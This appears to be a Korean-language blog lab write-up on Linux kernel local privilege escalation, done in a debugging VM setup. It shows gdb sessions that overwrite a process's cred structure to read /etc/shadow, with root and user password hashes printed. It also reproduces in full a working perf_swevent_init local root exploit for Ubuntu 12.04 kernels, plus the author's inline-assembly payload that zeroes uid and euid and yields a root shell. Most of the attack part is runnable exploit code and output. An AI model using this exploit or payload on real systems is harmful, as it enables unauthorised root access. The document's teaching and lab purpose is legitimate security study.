Linux Kernel Exploit Development with VMware - Lab3::Privilege Escalation
목차
Privilege Escalation
커널 권한 상승은 보통 두가지 방법을 통해 익스플로잇하게 된다.
prepare_kernel_cred()
와commit_creds()
함수의 고정 주소를 사용하는 방법. (1) 동일한 버전의 Kernel을 설치하여, root 계정을 가지고 직접 주소를 따는 방법과 (2)/proc/kallsyms
등의 파일의 잘못된 권한 관리로 인한 leak. 이 방법들은 주소 PoC 코드 작성용으로만 사용되며, 최근 커널에서는kptr_restrict
,KASLR
등의 mitigation들 때문에 따로 leak 취약점을 이용해야 할 수 있다.- 커널 스택 하위에 존재하는
thread_info
구조체 내의task_struct
구조체 내에는cred
구조체를 가르키는 포인터 변수가 존재하는데, 해당 구조체가uid
euid
suid
등의 값을 저장하고 있다. 이를 0으로 덮어 process 권한을 root 권한으로 상승시킬 수 있다. 이 방법은 좀 더 다양한 커널 버전에서 유효하다.
do: LPE()
간단한 바이너리의 getuid()
함수 호출시 발생하는 sys_getuid()
함수를 디버깅하여 위에서 설명한 권한 상승 방법 중, 2번째 방법을 통해 Local Privilege Escalation을 일으켜보자.
디버깅 할 바이너리의 코드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
uid_t uid;
uid = getuid();
printf("my uid = %d\n", uid);
if (uid == 0)
system("cat /etc/shadow");
return 0;
}
compile & run
1
2
3
4
5
6
test@ubuntu:~/exercises/cred_struct$ gcc -o whatsmyuid whatsmyuid.c
test@ubuntu:~/exercises/cred_struct$ ls
whatsmyuid whatsmyuid.c
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
my uid = 1001
test@ubuntu:~/exercises/cred_struct$
MasterVM
에서 해당 바이너리 실행시 getuid()
내에서 호출되는 sys_getuid()
함수에 BreakPoint를 잡는다.
MasterVM
1
2
3
4
5
6
7
8
9
10
11
12
root@master:~# gdb -q kernels/vmlinux-3.5.0-23-generic
Reading symbols from kernels/vmlinux-3.5.0-23-generic...done.
(gdb) target remote 192.168.94.1:8864
Remote debugging using 192.168.94.1:8864
native_safe_halt ()
at /build/buildd/linux-lts-quantal-3.5.0/arch/x86/include/asm/irqflags.h:50
warning: Source file is more recent than executable.
50 }
(gdb) b * sys_getuid
Breakpoint 1 at 0xffffffff81065650: file /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c, line 1438.
(gdb) c
Continuing.
TestVM
1
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
MasterVM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Breakpoint 4, sys_getuid ()
at /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c:1438
1438 {
(gdb)
(gdb) disassemble sys_getuid
Dump of assembler code for function sys_getuid:
=> 0xffffffff81065650 <+0>: push rbp
0xffffffff81065651 <+1>: mov rbp,rsp
0xffffffff81065654 <+4>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81065659 <+9>: mov rax,QWORD PTR gs:0xc700
0xffffffff81065662 <+18>: mov rax,QWORD PTR [rax+0x458]
0xffffffff81065669 <+25>: pop rbp
0xffffffff8106566a <+26>: mov eax,DWORD PTR [rax+0x4]
0xffffffff8106566d <+29>: cmp eax,0xffffffff
0xffffffff81065670 <+32>: cmove eax,DWORD PTR [rip+0xbc5259] # 0xffffffff81c2a8d0 <overflowuid>
0xffffffff81065677 <+39>: mov eax,eax
0xffffffff81065679 <+41>: ret
End of assembler dump.
(gdb)
함수 디스어셈블을 확인해보면, 일단 +9
위치에서 task_struct
의 주소를 받아오고, +18
에서 real_cred
주소를 가져오고, +26
에서 uid를 가져오는 것으로 보인다.
한번 하나씩 하나씩 주소를 확인해보자. 우선, +9
위치까지 실행을 시킨다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(gdb) i r
rax 0x66 102
rbx 0x0 0
rcx 0x7fffe61049e0 140737053215200
rdx 0x7fffe6104d58 140737053216088
rsi 0x7fffe6104d48 140737053216072
rdi 0x1 1
rbp 0xffff8800780c5f78 0xffff8800780c5f78
rsp 0xffff8800780c5f78 0xffff8800780c5f78
r8 0x400670 4195952
r9 0x7fe57d3ce740 140623625381696
r10 0x7fffe61049e0 140737053215200
r11 0x206 518
r12 0x4004b0 4195504
r13 0x7fffe6104d40 140737053216064
r14 0x0 0
r15 0x0 0
rip 0xffffffff81065659 0xffffffff81065659 <sys_getuid+9>
eflags 0x297 [ CF PF AF SF IF ]
cs 0x10 16
ss 0x18 24
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) disassemble sys_getuid
Dump of assembler code for function sys_getuid:
0xffffffff81065650 <+0>: push rbp
0xffffffff81065651 <+1>: mov rbp,rsp
0xffffffff81065654 <+4>: nop DWORD PTR [rax+rax*1+0x0]
=> 0xffffffff81065659 <+9>: mov rax,QWORD PTR gs:0xc700
0xffffffff81065662 <+18>: mov rax,QWORD PTR [rax+0x458]
0xffffffff81065669 <+25>: pop rbp
0xffffffff8106566a <+26>: mov eax,DWORD PTR [rax+0x4]
0xffffffff8106566d <+29>: cmp eax,0xffffffff
0xffffffff81065670 <+32>: cmove eax,DWORD PTR [rip+0xbc5259] # 0xffffffff81c2a8d0 <overflowuid>
0xffffffff81065677 <+39>: mov eax,eax
0xffffffff81065679 <+41>: ret
End of assembler dump.
(gdb)
이제 mov rax,QWORD PTR gs:0xc700
명령을 통해 gs:0xc700
위치에 존재하는 thread_info
구조체의 첫번째 필드인 task_struct
의 값을 가져올 것이다.
1
2
3
4
5
6
7
(gdb) ni
sys_getuid ()
at /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c:1440
1440 return from_kuid_munged(current_user_ns(), current_uid());
(gdb) i r rax
rax 0xffff880076ccdc00 -131939402195968
(gdb)
메모리 영역을 task_struct
구조체 프레임을 씌워서 확인해보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) p (struct task_struct *) 0xffff880076ccdc00
$11 = (struct task_struct *) 0xffff880076ccdc00
(gdb) p *$11
$12 = {state = 0, stack = 0xffff8800780c4000, usage = {counter = 2},
flags = 4202496, ptrace = 0, wake_entry = {
next = 0x0 <irq_stack_union>}, on_cpu = 1, on_rq = 1, prio = 120,
...
...
prev = 0xffff880076cce020}, {next = 0xffff880076cce030,
prev = 0xffff880076cce030}, {next = 0xffff880076cce040,
prev = 0xffff880076cce040}}, real_cred = 0xffff88007776e480,
cred = 0xffff88007776e480, comm = "whatsmyuid\000\000\000\000\000",
link_count = 0, total_link_count = 1, sysvsem = {
undo_list = 0x0 <irq_stack_union>}, last_switch_count = 0,
...
...
(gdb)
출력된 구조체 내부 필드 중, real_cred
의 값이 0xffff88007776e480
으로 출력되는 것을 확인할 수 있다.
이제 +26
명령이 실행되면 real_cred + 4
의 결과값인 0xffff88007776e484
주소에서 uid를 꺼내올 것이다. gdb에서 확인해보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p *$11.real_cred
$16 = {usage = {counter = 4}, uid = 1001, gid = 1001, suid = 1001,
sgid = 1001, euid = 1001, egid = 1001, fsuid = 1001, fsgid = 1001,
securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {
cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {
4294967295, 4294967295}}, jit_keyring = 0 '\000',
thread_keyring = 0x0 <irq_stack_union>,
request_key_auth = 0x0 <irq_stack_union>,
tgcred = 0xffff880036d170c0, security = 0xffff88007a5a72e0,
user = 0xffff880079756e00,
user_ns = 0xffffffff81c25700 <init_user_ns>,
group_info = 0xffff880036c17800, rcu = {
next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
이제 0xffff88007776e484
주소의 값을 0으로 수정하여 uid
값이 0으로 반환되게 만든다.
1
2
3
4
5
(gdb) set *0xffff88007776e484=0
(gdb) x/wd 0xffff88007776e484
0xffff88007776e484: 0
(gdb) c
Continuing.
TestVM
1
2
3
4
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
my uid = 0
cat: /etc/shadow: Permission denied
test@ubuntu:~/exercises/cred_struct$
uid값만 수정했기 때문에 uid는 0으로 반환되었지만 /etc/shadow
파일의 읽기 권한 검사는 패스하지 못한 듯 하다.
이번에는 uid
gid
euid
egid
를 0
으로 설정해본다.
MasterVM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) set $16.uid=0
(gdb) set $16.gid=0
(gdb) set $16.euid=0
(gdb) set $16.egid=0
(gdb) p *$11.real_cred
$21 = {usage = {counter = 4}, uid = 0, gid = 0, suid = 1001,
sgid = 1001, euid = 0, egid = 0, fsuid = 1001, fsgid = 1001,
securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {
cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {
4294967295, 4294967295}}, jit_keyring = 0 '\000',
thread_keyring = 0x0 <irq_stack_union>,
request_key_auth = 0x0 <irq_stack_union>,
tgcred = 0xffff880036d170c0, security = 0xffff88007a5a72e0,
user = 0xffff880079756e00,
user_ns = 0xffffffff81c25700 <init_user_ns>,
group_info = 0xffff880036c17800, rcu = {
next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
(gdb) c
Continuing.
TestVM
1
2
3
4
5
6
7
8
9
10
11
test@ubuntu:~/exercises/cred_struct$ ./whatsmyuid
my uid = 0
root:$6$vUTGm6Ck$QJ6nTYRANRkFUTdo7dnXA7TmtU9ZUfQxRveJrinXs2Q44ydPueK6Zt2HWkv9yJtXRAHhI0YyNlq1pbf4EYmsj.:17010:0:99999:7:::
daemon:*:16599:0:99999:7:::
bin:*:16599:0:99999:7:::
sys:*:16599:0:99999:7:::
sync:*:16599:0:99999:7:::
...
...
test:$6$N9QrgFig$tjZaKZAWe3hBZOU9YItr1.geZmoCDR.QAWS61UfVa94.YWhyFnCfgnC.t2WflHsDtRTH1Js51HG6TgqAJGuqE0:17034:0:99999:7:::
test@ubuntu:~/exercises/cred_struct$
권한 상승을 통한 /etc/shadow
파일 읽기에 성공하였다.
do: LPE() - automated
TestVM
의 /home/test/exercises/perf
위치에 perf_swevent_init
함수의 취약점을 이용한 Ubuntu 12.04 LPE Exploit PoC가 존재한다.
190926 추가 이 링크에 해당 취약점의 자세한 분석이 존재한다. 참고하면 좋을듯!
1
2
3
test@ubuntu:~/exercises/perf$ ls
vnik_v1 vnik_v1.c
test@ubuntu:~/exercises/perf$
vnik_v1.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
/**
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
* by Vitaly Nikolenko ([email protected])
*
* based on semtex.c by sd
*
* Supported targets:
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
*
* $ gcc vnik.c -O2 -o vnik
*
* $ uname -r
* 3.2.0-23-generic
*
* $ ./vnik 0
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x1780000000
#define SIZE 0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
uint64_t targets[3][3] =
{
{0xffffffff81ef67e0, // perf_swevent_enabled
0xffffffff81091630, // commit_creds
0xffffffff810918e0}, // prepare_kernel_cred
{0xffffffff81ef67a0,
0xffffffff81091220,
0xffffffff810914d0},
{0xffffffff81ef5940,
0xffffffff8107ee30,
0xffffffff8107f0c0}
};
void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)AB(1);
// restore the handler
*fixptr = -1;
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
void trigger(uint32_t off) {
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert( !close(fd) );
}
int main(int argc, char **argv) {
uint64_t off64, needle, kbase, *p;
uint8_t *code;
uint32_t int_n, j = 5, target = 1337;
int offset = 0;
void *map;
assert(argc == 2 && "target?");
assert( (target = atoi(argv[1])) < 3 );
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// mmap user-space block so we don't page fault
// on sw_perf_event_destroy
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
asm volatile("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
printf("IDT addr = 0x%lx\n", idt.addr);
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
// can only play with interrupts 3, 4 and 0x80
for (int_n = 3; int_n <= 0x80; int_n++) {
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
int off32 = off64;
if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
offset = off32;
goto out;
}
}
if (int_n == 4) {
// shit, let's try 0x80 if the kernel is compiled with
// CONFIG_IA32_EMULATION
int_n = 0x80 - 1;
}
}
out:
assert(offset);
printf("Using int = %d with offset = %d\n", int_n, offset);
for (j = 0; j < 3; j++) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}
trigger(offset);
switch (int_n) {
case 3:
asm volatile("int $0x03");
break;
case 4:
asm volatile("int $0x04");
break;
case 0x80:
asm volatile("int $0x80");
}
assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
이번에는 payload
함수의 perf_swevent_init
, commit_creds
, prepare_kernel_cred
의 심볼 주소를 가져오는 부분을 자동화 해보도록 하자.
원래 PoC에서는 심볼 주소를 두곳에서 설정한다.
payload()
1 2 3 4 5 6 7 8
void __attribute__((regparm(3))) payload() { uint32_t *fixptr = (void*)AB(1); // restore the handler *fixptr = -1; commit_creds_fn commit_creds = (commit_creds_fn)AB(2); prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3); commit_creds(prepare_kernel_cred((uint64_t)NULL)); }
이 함수에서
fixptr
이라는 변수명으로perf_swevent_enabled
주소를 가져오고, 해당 값을 -1로 설정한다. 이후commit_creds
와prepare_kernel_cred
주소를 가져와 권한 상승 과정의 핵심인commit_creds(prepare_kernel_cred(0));
를 실행하게 된다.이 부분에서
AB(x)
매크로 호출을 통해, 실제 가젯이 들어가야 할 부분을 특수한 더미 값으로 채우는데, 디버깅 할때 메모리 서치를 편하게 하기 위해서인지, 아니면-O2
옵션을 통해 컴파일 최적화를 할 때 가젯을 불러오는 부분에 최적화가 수행되어 원하지 않는 동작을 유발하는건지 모르겠지만, 특수한 더미 값이 실제 가젯이 존재해야 할 위치에 쓰이게 된다.main()
1 2 3 4 5
for (j = 0; j < 3; j++) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j]; }
(1) 에서
AB(x)
매크로를 통해 설정한 더미 값을 실제 가젯으로 바꿔주는 부분이다.
가젯을 설정해주는 부분까지 확인했으니, 가젯 주소 설정을 자동화 해보자. 이번에는 do: LPE() 에서 했던 방식과는 조금 다르게, rsp
레지스터가 가지고 있는 Stack 주소를 활용하여 Privilege Escalation 의 그림에 설명되어 있던 (r|e)sp & ~(THREAD_SIZE-1)
연산을 통해 thread_info
구조체의 주소를 가져온 후, task_struct
, real_cred
순으로 가져와 real_cred
구조체 내의 uid
euid
값을 변경해 줄 것이다.
gdb를 통해 위 과정을 한번 진행해보고, 인라인 어셈블리를 PoC 코드에 넣어 uid
euid
값을 0
으로 설정하도록 자동화하자.
일단 MasterVM
에서 gdb를 켠 후, TestVM
에 attach한다. PoC 코드의 trigger
함수에서 298
번 syscall을 통해 취약점을 트리거링하므로 sys_perf_event_open
함수1에 bp를 건다.
1
2
3
4
5
6
7
8
9
10
11
12
root@master:~# gdb kernels/vmlinux-3.5.0-23-generic -q
Reading symbols from kernels/vmlinux-3.5.0-23-generic...done.
(gdb) target remote 192.168.94.1:8864
Remote debugging using 192.168.94.1:8864
native_safe_halt ()
at /build/buildd/linux-lts-quantal-3.5.0/arch/x86/include/asm/irqflags.h:50
warning: Source file is more recent than executable.
50 }
(gdb) b * sys_perf_event_open
Breakpoint 1 at 0xffffffff811209d0: file /build/buildd/linux-lts-quantal-3.5.0/kernel/events/core.c, line 6198.
(gdb) c
Continuing.
이제 TestVM
에서 vnik
바이너리를 실행하여 trigger()
가 호출하는 sys_perf_event_open()
에서 bp가 걸리는지 확인한다.
TestVM
1
2
3
4
test@ubuntu:~/exercises/perf$ ls
vnik vnik_v1.c
test@ubuntu:~/exercises/perf$ ./vnik 2
IDT addr = 0xffffffff81dd6000
MasterVM
1
2
3
4
5
6
7
8
9
(gdb) c
Continuing.
Breakpoint 1, sys_perf_event_open (attr_uptr=0x7fff1febfbd0, pid=0,
cpu=-1, group_fd=-1, flags=0)
at /build/buildd/linux-lts-quantal-3.5.0/kernel/events/core.c:6198
warning: Source file is more recent than executable.
6198 {
(gdb)
bp가 정상적으로 걸렸으므로, i r rsp
명령을 통해 rsp
레지스터 값을 확인한다.
1
2
3
(gdb) i r rsp
rsp 0xffff88007814bf80 0xffff88007814bf80
(gdb)
thread_info
의 주소는 (r|e)sp & ~(THREAD_SIZE-1)
이고, x64에서 THREAD_SIZE
는 8K이므로 간단한 계산을 해보자.
1024(0x400) * 8
=>0x2000
0x2000 - 1
=>0x1FFF
~ 0x1FFF
=>0xFFFFFFFFFFFFE000
0xffff88007814bf80 & 0xFFFFFFFFFFFFE000
=>&thread_info
계산 결과 0xffff88007814a000
이라는 주소값이 나왔다. gdb를 통해 thread_info
의 주소가 맞는지 확인해보자.
thread_info
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) p (struct thread_info *)0xffff88007814a000
$1 = (struct thread_info *) 0xffff88007814a000
(gdb) p *$1
$2 = {task = 0xffff88007924dc00,
exec_domain = 0xffffffff81c1f2e0 <default_exec_domain>, flags = 0,
status = 0, cpu = 0, preempt_count = 0, addr_limit = {
seg = 140737488351232}, restart_block = {
fn = 0xffffffff81069a40 <do_no_restart_syscall>, {futex = {
uaddr = 0x0 <irq_stack_union>, val = 0, flags = 0,
bitset = 0, time = 0, uaddr2 = 0x0 <irq_stack_union>},
nanosleep = {clockid = 0, rmtp = 0x0 <irq_stack_union>,
compat_rmtp = 0x0 <irq_stack_union>, expires = 0}, poll = {
ufds = 0x0 <irq_stack_union>, nfds = 0, has_timeout = 0,
tv_sec = 0, tv_nsec = 0}}},
sysenter_return = 0x0 <irq_stack_union>, sig_on_uaccess_error = 0,
uaccess_err = 0}
(gdb)
이 출력만 봐서는 thread_info
구조체가 맞는지 정확하게 체크하기 힘드니 task_struct
구조체와 real_cred
도 같은 방법으로 확인해보자.
task_struct
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p *$1.task
$3 = {state = 0, stack = 0xffff88007814a000, usage = {counter = 2},
flags = 4202496, ptrace = 0, wake_entry = {
next = 0x0 <irq_stack_union>}, on_cpu = 1, on_rq = 1, prio = 120,
...
...
real_cred = 0xffff880076116840,
cred = 0xffff880076116840,
comm = "vnik", '\000' <repeats 11 times>, link_count = 0,
...
...
ptrace_bp_refcnt = {counter = 1}, utask = 0x0 <irq_stack_union>,
uprobe_srcu_id = -1}
(gdb)
real_cred
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p *$1.task.real_cred
$4 = {usage = {counter = 3}, uid = 1001, gid = 1001, suid = 1001,
sgid = 1001, euid = 1001, egid = 1001, fsuid = 1001, fsgid = 1001,
securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {
cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {
4294967295, 4294967295}}, jit_keyring = 0 '\000',
thread_keyring = 0x0 <irq_stack_union>,
request_key_auth = 0x0 <irq_stack_union>,
tgcred = 0xffff8800795d5300, security = 0xffff88007a05fb60,
user = 0xffff88003647bf80,
user_ns = 0xffffffff81c25700 <init_user_ns>,
group_info = 0xffff88007618fa40, rcu = {
next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
(gdb)
real_cred
의 uid
와 euid
가 1001
로 정확하게 들어가 있는 것을 확인할 수 있다. 이제 real_cred
구조체의 주소를 자동으로 구해야 한다. 나는 아래와 같이 인라인 어셈블리를 사용하여 수정해서 자동화에 성공했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __attribute__((regparm(3))) payload() {
asm(
"pushq %rax;" /* save Registers */
"pushq %rcx;"
"movq $0xffffffffffffffff, 0xffffffff81ef5940;" /* set perf_swevent_enabled = -1 */
"movq %rsp, %rax;" /* get SP */
"movq $0xFFFFFFFFFFFFE000, %rcx;" /* calc THREAD_SIZE */
"andq %rcx, %rax;" /* calc thread_info */
"movq (%rax), %rcx;" /* get task_struct */
"movq 0x458(%rcx), %rax;" /* get real_cred */
"movl $0, 0x04(%rax);" /* set uid */
"movl $0, 0x14(%rax);" /* set euid */
"popq %rcx;" /* restore Registers */
"popq %rax;"
);
}
for문 블럭 안의 내용 dead code화 (j < 0)
1
2
3
4
5
6
7
for (j = 0; j < 0; j++) {
needle = AB(j+1);
printf("j: %x\n", j);
printf("needle: %lx\n", needle);
assert(p = memmem(code, 1024, &needle, 8));
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}
result
1
2
3
4
test@ubuntu:~/exercises/perf$ ./vnik 2
IDT addr = 0xffffffff81dd6000
Using int = 4 with offset = -49077
root@ununtu:~/exercises/perf#
난이도가 갑자기 상승했고, PoC도 실행이 됬다 안됬다 해서 내잘못인지, PoC잘못인지 헷갈려 하다가 시간이 훅훅 지나가버렸다. 빠르게 다음 Lab으로 이동하자!
References
[thread_info를 통한 커널 익스 문제] https://blackperl-security.gitlab.io/blog/2018/08/20/2018-08-20-sendpage_02_analysis/